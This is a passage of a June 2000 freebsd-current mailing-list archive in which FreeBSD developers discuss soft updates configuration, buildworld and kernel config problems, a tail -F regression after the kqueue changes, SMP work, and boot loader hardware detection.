[194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id DE9C937C268; Thu, 22 Jun 2000 04:32:40 -0700 (PDT) (envelope-from se@freebsd.org) Received: from [62.104.201.2] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 1355Da-00010A-00; Thu, 22 Jun 2000 13:32:22 +0200 Received: from [213.6.106.2] (helo=StefanEsser.FreeBSD.org) by mx1.freenet.de with esmtp (Exim 3.14 #3) id 1355Da-00035k-00; Thu, 22 Jun 2000 13:32:22 +0200 Received: by StefanEsser.FreeBSD.org (Postfix, from userid 200) id 7E273CD7; Thu, 22 Jun 2000 13:31:31 +0200 (CEST) Date: Thu, 22 Jun 2000 13:31:29 +0200 From: Stefan Esser To: Adrian Chadd Cc: mckusick@mckusick.com, freebsd-current@FreeBSD.ORG, Stefan Esser Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Message-ID: <20000622133129.A1816@StefanEsser.FreeBSD.org> Reply-To: Stefan Esser Mail-Followup-To: Stefan Esser , Adrian Chadd , mckusick@mckusick.com, freebsd-current@FreeBSD.ORG References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> <20000622115426.H29036@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000622115426.H29036@zoe.bastard.co.uk>; from adrian@FreeBSD.ORG on Thu, Jun 22, 2000 at 11:54:26AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-06-22 11:54 +0200, Adrian Chadd wrote: > On Thu, Jun 22, 2000, Brad Knowles wrote: > > At 10:30 AM +0200 2000/6/22, Adrian Chadd wrote: > > > > > I like this. Would anyone object if this was brought over from NetBSD ? > > > > If you're asking for a vote, you've got mine. > > Hmm, Kirk has valid points for leaving a softupdates filesystem identified > by tunefs and not a mount option. I do remember the discussion that lead to the requirement to enable soft-updates with tunefs -n. But I do not remember, why the soft-updates state could not be just set in the local copy of the super-block and flushed to disk when the file system is marked dirty ? Just before a clean file system is to be mounted R/W, it is obviously safe to modify the soft-updates state. The file system must have been cleaned before, or the R/W mount will not be possible (extra logic can prevent the modification of the MNT_SOFTDEP bit if a mount of a non-clean partition is forced, in order to preserve the soft-updates state for the next fsck run). If the kernel was compiled without soft-updates, it may be the right thing to keep MNT_SOFTDEP cleared, to not mislead FSCK ... Did I miss something obvious ? Regards, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 5: 7:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.mobilix.dk (gw-vas.mobilix.net [212.97.206.4]) by hub.freebsd.org (Postfix) with ESMTP id 9DC5C37B864 for ; Thu, 22 Jun 2000 05:07:36 -0700 (PDT) (envelope-from vab@mail.mobilix.dk) Received: (from vab@localhost) by mail.mobilix.dk (8.9.3/8.9.3) id OAA07284 for freebsd-current@FreeBSD.ORG; Thu, 22 Jun 2000 14:07:29 +0200 (CEST) (envelope-from vab) Date: Thu, 22 Jun 2000 14:07:29 +0200 From: Vadim Belman To: freebsd-current@FreeBSD.ORG Subject: Re: make buildworld failed... Message-ID: <20000622140729.D4395@lflat.vas.mobilix.dk> Mail-Followup-To: Vadim Belman , freebsd-current@FreeBSD.ORG References: <87snu98l62.fsf@titine.fr.eu.org> <200006210039.CAA02201@m2.dynas.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006210039.CAA02201@m2.dynas.se>; from mikko@dynas.se on Wed, Jun 21, 2000 at 02:39:55AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Jun 21, 2000 at 02:39:55AM +0200, Mikko Tyolajarvi wrote: > >> Same for me (fresh cvsup)... From the FAQ : "You can try to config > >> OpenSSL so as not to use IDEA by using './config no-idea'". But i've > >> no idea (what's a joke...) on how to do that with 'make buildworld'. > >> > > >Me too. I would very much appreciate a hint here. Thx! > > Try this as a workaround: > > cp /usr/src/crypto/openssl/crypto/idea/idea.h /usr/include/openssl Another one would be `make clean' in /usr/src. It worked for me (despite of failure during `make installworld' where it didn't locate osrelease.h). -- /Voland Vadim Belman E-mail: voland@hobbes.bsd-dk.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 5:37: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from web1.prometeus.net (ns2.prometeus.net [199.105.84.10]) by hub.freebsd.org (Postfix) with ESMTP id 099E637BE71 for ; Thu, 22 Jun 2000 05:36:59 -0700 (PDT) (envelope-from syprix@web1.prometeus.net) Received: from localhost (syprix@localhost) by web1.prometeus.net (8.9.3/8.9.3) with ESMTP id IAA25612 for ; Thu, 22 Jun 2000 08:35:08 -0400 Date: Thu, 22 Jun 2000 08:35:08 -0400 (EDT) From: To: current@freebsd.org Subject: Re: Error compiling CURRENT Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi again, Sorry, it was hardware related. Apologies /linnet Stefan Lindgren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 7:40:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 4C75237BACD; Thu, 22 Jun 2000 07:40:33 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 13589c-0006ye-00; Thu, 22 Jun 2000 16:40:28 +0200 Received: from [213.6.51.55] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 13589b-0000bS-01; Thu, 22 Jun 2000 16:40:27 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id QAA00744; Thu, 22 Jun 2000 16:34:14 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006221434.QAA00744@Magelan.Leidinger.net> Date: Thu, 22 Jun 2000 16:34:13 +0200 (CEST) From: Alexander Leidinger Subject: Missing dependancies after config changes (atapi) To: current@freebsd.org Cc: peter@freebsd.org, sos@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, after the config changes atapi-all.o isn't compiled anymore. Every other atapi-*/ata-* has a representation in /sys/compile//Makefile. After looking at /sys/conf/files.i386 I'm a little bit confused: ---snip--- dev/ata/ata-all.c count ata dev/ata/ata-disk.c count atadisk dev/ata/ata-dma.c optional ata dev/ata/atapi-all.c count atapicd dev/ata/atapi-all.c count atapifd dev/ata/atapi-all.c count atapist dev/ata/atapi-cd.c optional atapicd dev/ata/atapi-fd.c optional atapifd dev/ata/atapi-tape.c optional atapist ---snip--- I have ata, atadisk and atapifd in my kernel config and if I understand the above (I didn't think I do, I'm confused about "count" for ata-all.c and ata-disk.c) atapi-all should find its way into the Makefile. Unfortunally I haven't seen someone else complain about this. Can some reproduce this? Bye, Alexander. -- Where do you think you're going today? http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 8:27: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 5072E37C30D; Thu, 22 Jun 2000 08:26:50 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.14 #3) id 1358sM-0002AR-00; Thu, 22 Jun 2000 17:26:42 +0200 Received: from [213.6.42.195] (helo=Magelan.Leidinger.net) by mx0.freenet.de with esmtp (Exim 3.14 #3) id 1358sH-0007K2-00; Thu, 22 Jun 2000 17:26:39 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id RAA01268; Thu, 22 Jun 2000 17:25:56 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200006221525.RAA01268@Magelan.Leidinger.net> Date: Thu, 22 Jun 2000 17:25:55 +0200 (CEST) From: Alexander Leidinger Subject: tail after kqueue changes To: current@freebsd.org Cc: jlemon@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm using the "-F" option of tail for some files which get rotated away. After the changes to use kqueue/kevent it didn't work as expected anymore. tail exits after the file gets rotated. Perhaps it didn't wait long enough to see the new file: I did a "tail test.txt" in one terminal and a "mv test.txt; touch test.txt" in another and I got "tail: test.txt: No such file or directory". The same test with rev 1.11 of usr.bin/tail/forward.c succedes. Bye, Alexander. -- It's not a bug, it's tradition! http://www.Leidinger.net Alexander+Home @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 9:38:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57]) by hub.freebsd.org (Postfix) with ESMTP id 94BCA37C330 for ; Thu, 22 Jun 2000 09:38:15 -0700 (PDT) (envelope-from ticso@cicely8.cicely.de) Received: from mail.cicely.de (cicely.de [194.231.9.142]) by mail.du.gtn.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e5MGc8Y15071 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified FAIL); Thu, 22 Jun 2000 18:38:10 +0200 (MET DST) Received: from cicely8.cicely.de (cicely8.cicely.de [10.1.2.10]) by mail.cicely.de (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5MGcKC91241; Thu, 22 Jun 2000 18:38:21 +0200 (CEST) Received: (from ticso@localhost) by cicely8.cicely.de (8.9.3/8.9.2) id SAA18500; Thu, 22 Jun 2000 18:38:18 +0200 (CEST) (envelope-from ticso) Date: Thu, 22 Jun 2000 18:38:17 +0200 From: Bernd Walter To: Matthew Dillon Cc: current@FreeBSD.ORG, Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development Message-ID: <20000622183817.A18476@cicely8.cicely.de> References: <20000619115330.D79318@blitz.canonware.com> <200006200034.RAA81825@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006200034.RAA81825@apollo.backplane.com>; from dillon@apollo.backplane.com on Mon, Jun 19, 2000 at 05:34:47PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 05:34:47PM -0700, Matthew Dillon wrote: > > Ok, I have put up a web page that will track my efforts. > > http://apollo.backplane.com/FreeBSDSmp/ Your first patchset contains only i386 code. What is the timeframe for alpha relative to i386? Will each i386 code step converted to it a short time later or finally after the i386 code completely has been stabilized? -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 9:52: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.interware.hu (mail.interware.hu [195.70.32.130]) by hub.freebsd.org (Postfix) with ESMTP id 61BC537C34A; Thu, 22 Jun 2000 09:51:41 -0700 (PDT) (envelope-from julian@elischer.org) Received: from kampala-56.budapest.interware.hu ([195.70.52.248] helo=jules.elischer.org) by mail.interware.hu with smtp (Exim 3.12 #1 (Debian)) id 135ARU-00088g-00; Thu, 22 Jun 2000 19:07:04 +0200 Message-ID: <395243C5.41C67EA6@elischer.org> Date: Thu, 22 Jun 2000 09:50:13 -0700 From: Julian Elischer X-Mailer: Mozilla 3.04Gold (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: Adrian Chadd Cc: Anders Andersson , cvs-all@freebsd.org, freebsd-current@freebsd.org Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Adrian Chadd wrote: > > [shifting conversation to -current .. ] > > On Thu, Jun 22, 2000, Anders Andersson wrote: > > on Tor, Jun 22, 2000 at 01:46:34pm +0900, Akinori -Aki- MUSHA wrote: > > > > > > Yes, it has been working quite stably here too. Besides, one must do > > > a "tunefs -n enable" for every partition that he or she wants to do > > > softupdates anyway, so just adding the support for softupdates to the > > > GENERIC kernel won't hurt anyone who don't want to turn that feature > > > on by default, except a little code increase. > > > > Please take a look at what NetBSD just recently did: > > http://www.netbsd.org/Changes/#softdepsmount > > > > These changes disables the whole 'tunefs' process, and let you control > > softupdates state with mount, (-o softdep). So all you have to do is to > > tune your /etc/fstab to enable softupdates. I think this will make it > > more easy to enable SOFTUPDATES by default. > > I like this. Would anyone object if this was brought over from NetBSD ? > They obvioulsly DIDN'T discuss this with Kirk! this is not what he wants and for good reason.. see the long discussion son this topic in the archives. > Adrian > > -- > Adrian Chadd Build a man a fire, and he's warm for the > rest of the evening. Set a man on fire and > he's warm for the rest of his life. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000 )_.---._/ presently in: Budapest v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 9:52:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id A5D8137C350; Thu, 22 Jun 2000 09:52:46 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id JAA15230; Thu, 22 Jun 2000 09:52:43 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id JAA91378; Thu, 22 Jun 2000 09:52:42 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Thu, 22 Jun 2000 09:52:42 -0700 (PDT) Message-Id: <200006221652.JAA91378@vashon.polstra.com> To: mvh@ix.netcom.com Subject: HEADS UP: softupdates mess in src/sys/ufs/ffs In-Reply-To: <20000622041129.02E19E6FEF@netcom1.netcom.com> References: <20000622041129.02E19E6FEF@netcom1.netcom.com> Organization: Polstra & Co., Seattle, WA Cc: stable@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <20000622041129.02E19E6FEF@netcom1.netcom.com>, Mike Harding wrote: > > I just did a 'cvsup' of 4.0-RELENG and the soft update links in > /usr/src/sys/ufs/ffs got deleted. Created them again, ran cvsup > again, and they got deleted again. Anyone know what's going on? I just found out about this this morning. There's a bit of a mess in that directory. Somebody put the softupdates files into /home/ncvs/src/sys/ufs/ffs manually on June 21. The files were damaged -- each one had two RELENG_3 tags pointing to different branches. That caused cvsup-master's cvsup jobs to start dying prematurely. (Yes, the dying should be considered a bug.) I deleted the offending files from src/sys/ufs/ffs just now. Now here is what I think will happen to all of you. On your next CVSup update, it will delete your softupdates files and/or symlinks in src/sys/ufs/ffs. Let that go ahead and happen. Then you should be able to create your symlinks again and have them remain untouched by CVSup thereafter. Please don't anybody try to move softupdates into that directory again without talking to me first. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 9:58: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.bastard.co.uk (node16292.a2000.nl [24.132.98.146]) by hub.freebsd.org (Postfix) with ESMTP id DE1BF37C3B3; Thu, 22 Jun 2000 09:57:54 -0700 (PDT) (envelope-from adrian@bastard.co.uk) Received: from adrian by mail.bastard.co.uk with local (Exim 3.14 #1) id 135AIR-0008qE-00; Thu, 22 Jun 2000 18:57:43 +0200 Date: Thu, 22 Jun 2000 18:57:43 +0200 From: Adrian Chadd To: Julian Elischer Cc: Adrian Chadd , Anders Andersson , cvs-all@freebsd.org, freebsd-current@freebsd.org Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Message-ID: <20000622185743.R29036@zoe.bastard.co.uk> References: <200006220029.RAA97417@freefall.freebsd.org> <20000621223309.G47446@argon.gryphonsoft.com> <86g0q6gw5x.wl@localhost.local.idaemons.org> <20000622080509.A4065@enterprise.sanyusan.se> <20000622103045.F29036@zoe.bastard.co.uk> <395243C5.41C67EA6@elischer.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <395243C5.41C67EA6@elischer.org>; from julian@elischer.org on Thu, Jun 22, 2000 at 09:50:13AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jun 22, 2000, Julian Elischer wrote: [snip NetBSD making softupdates a mount option] > They obvioulsly DIDN'T discuss this with Kirk! > > this is not what he wants and for good reason.. > see the long discussion son this topic in the archives. I've read the mail archives as to why. If these issues are still valid, I'll withdrawl the idea :) Adrian -- Adrian Chadd Build a man a fire, and he's warm for the rest of the evening. Set a man on fire and he's warm for the rest of his life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 10: 7:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 262F537C369 for ; Thu, 22 Jun 2000 10:07:47 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA03498; Thu, 22 Jun 2000 10:07:38 -0700 (PDT) (envelope-from dillon) Date: Thu, 22 Jun 2000 10:07:38 -0700 (PDT) From: Matthew Dillon Message-Id: <200006221707.KAA03498@apollo.backplane.com> To: Bernd Walter Cc: current@FreeBSD.ORG, Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development References: <20000619115330.D79318@blitz.canonware.com> <200006200034.RAA81825@apollo.backplane.com> <20000622183817.A18476@cicely8.cicely.de> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :On Mon, Jun 19, 2000 at 05:34:47PM -0700, Matthew Dillon wrote: :> :> Ok, I have put up a web page that will track my efforts. :> :> http://apollo.backplane.com/FreeBSDSmp/ : :Your first patchset contains only i386 code. :What is the timeframe for alpha relative to i386? :Will each i386 code step converted to it a short time later or finally :after the i386 code completely has been stabilized? : :-- :B.Walter COSMO-Project http://www.cosmo-project.de The alpha code is going to be dealt with by the alpha guys. I am not an alpha assembly programmer. There is going to be considerably more breakage for the alpha port in the next month then the i386 port, but hopefully it will get worked out. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 11:47:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 6729837B63F; Thu, 22 Jun 2000 11:47:47 -0700 (PDT) (envelope-from jlemon@flugsvamp.com) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.9.3/8.9.3) id NAA70818; Thu, 22 Jun 2000 13:52:06 -0500 (CDT) (envelope-from jlemon) Date: Thu, 22 Jun 2000 13:52:06 -0500 From: Jonathan Lemon To: Alexander Leidinger Cc: current@freebsd.org, jlemon@freebsd.org Subject: Re: tail after kqueue changes Message-ID: <20000622135206.A70466@prism.flugsvamp.com> References: <200006221525.RAA01268@Magelan.Leidinger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200006221525.RAA01268@Magelan.Leidinger.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Jun 22, 2000 at 05:25:55PM +0200, Alexander Leidinger wrote: > Hi, > > I'm using the "-F" option of tail for some files which get rotated away. > > After the changes to use kqueue/kevent it didn't work as expected > anymore. tail exits after the file gets rotated. > Perhaps it didn't wait long enough to see the new file: I did a "tail > test.txt" in one terminal and a "mv test.txt; touch test.txt" in another > and I got "tail: test.txt: No such file or directory". I got a little too aggressive when following the file; it wouuld switch to the new file immediately, and get upset when it couldn't find it. I've just committed a fix which allows for a window of time where the file doesn't exist at all, which should solve the above problem. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 12:15:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from obie.softweyr.com (obie.softweyr.com [204.68.178.33]) by hub.freebsd.org (Postfix) with ESMTP id 9680637B6AE; Thu, 22 Jun 2000 12:15:20 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from softweyr.com (ip83.salt-lake-city9.ut.pub-ip.psi.net [38.31.167.83]) by obie.softweyr.com (8.8.8/8.8.8) with ESMTP id NAA11587; Thu, 22 Jun 2000 13:14:00 -0600 (MDT) (envelope-from wes@softweyr.com) Message-ID: <395265AA.AEC5EB8@softweyr.com> Date: Thu, 22 Jun 2000 13:14:50 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Greg Lehey Cc: FreeBSD current users , FreeBSD-arch@FreeBSD.ORG Subject: Re: -e option to umount? References: <20000618160223.A2482@sydney.worldwide.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > > What do people think about adding a -e option to umount(8) to eject a > removable medium where possible? Yes! -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 12:17:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (dhcp183.conference.usenix.org [209.179.127.183]) by hub.freebsd.org (Postfix) with ESMTP id 776D637B766; Thu, 22 Jun 2000 12:17:43 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id MAA00872; Thu, 22 Jun 2000 12:23:03 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006221923.MAA00872@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Warner Losh Cc: freebsd-current@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: Unknown Devices In-reply-to: Your message of "Wed, 21 Jun 2000 13:03:54 MDT." <200006211903.NAA82467@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 22 Jun 2000 12:23:01 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In message <200006051523.IAA17373@mass.cdrom.com> Mike Smith writes: > : Watch out - some USB modems are also WinModems. > > usb tty and modems aren't supported, as far as I know. They're "nearly" there, AFAIR. I sent Nick some code a while back that addressed the last problem I understood he had. > How can you > tell the usb modems that are win modems? And can y ou get docs on > them? You pull them apart and look at the chipset inside. There are a number of chipsets from eg. ST that take an isochronous audio stream. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 12:24:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (dhcp183.conference.usenix.org [209.179.127.183]) by hub.freebsd.org (Postfix) with ESMTP id BA5FA37BC4C; Thu, 22 Jun 2000 12:24:52 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id MAA00940; Thu, 22 Jun 2000 12:30:19 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006221930.MAA00940@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Warner Losh Cc: current@FreeBSD.ORG, emulation@FreeBSD.ORG Subject: Re: VMware detection code in boot loader In-reply-to: Your message of "Wed, 21 Jun 2000 14:02:26 MDT." <200006212002.OAA83024@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 22 Jun 2000 12:30:19 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In message <200006131710.KAA22395@mass.cdrom.com> Mike Smith writes: > : > a larger issue. It is not the loader's job to detect the underlying > : > hardware configuration. > : > : Actually, in a broad fashion, it _is_. This is why the loader > : understands PCI and PnP, for example. > > How hard would it be to add usb and pccard support? Very hard. There's no standardised firmware interface to either of these, so we would have to use "real" drivers. As far as the loader is concerned, though, neither of these are on the boot path, so we can typically wait until the kernel's up and we can use some "real real" drivers. 8) -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 12:37:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 918AA37B73D; Thu, 22 Jun 2000 12:37:22 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA51730; Thu, 22 Jun 2000 13:37:21 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA91615; Thu, 22 Jun 2000 13:35:45 -0600 (MDT) Message-Id: <200006221935.NAA91615@harmony.village.org> To: Mike Smith Subject: Re: VMware detection code in boot loader Cc: current@FreeBSD.ORG, emulation@FreeBSD.ORG In-reply-to: Your message of "Thu, 22 Jun 2000 12:30:19 PDT." <200006221930.MAA00940@mass.osd.bsdi.com> References: <200006221930.MAA00940@mass.osd.bsdi.com> Date: Thu, 22 Jun 2000 13:35:45 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006221930.MAA00940@mass.osd.bsdi.com> Mike Smith writes: : As far as the loader is concerned, though, neither of these are on the : boot path, so we can typically wait until the kernel's up and we can use : some "real real" drivers. 8) Well, I have seen boards that support booting off pccard devices... But I think they make them look like normal BIOS disk devices just like the DOC2k chips do. And the boot support is somewhat limited as to which devices (usually only ATA cards and sometimes linear flash). I'll not worry about it for now. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jun 22 12:38:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 0C63F37BD9E; Thu, 22 Jun 2000 12:38:17 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA51742; Thu, 22 Jun 2000 13:38:15 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA91645; Thu, 22 Jun 2000 13:36:39 -0600 (MDT) Message-Id: 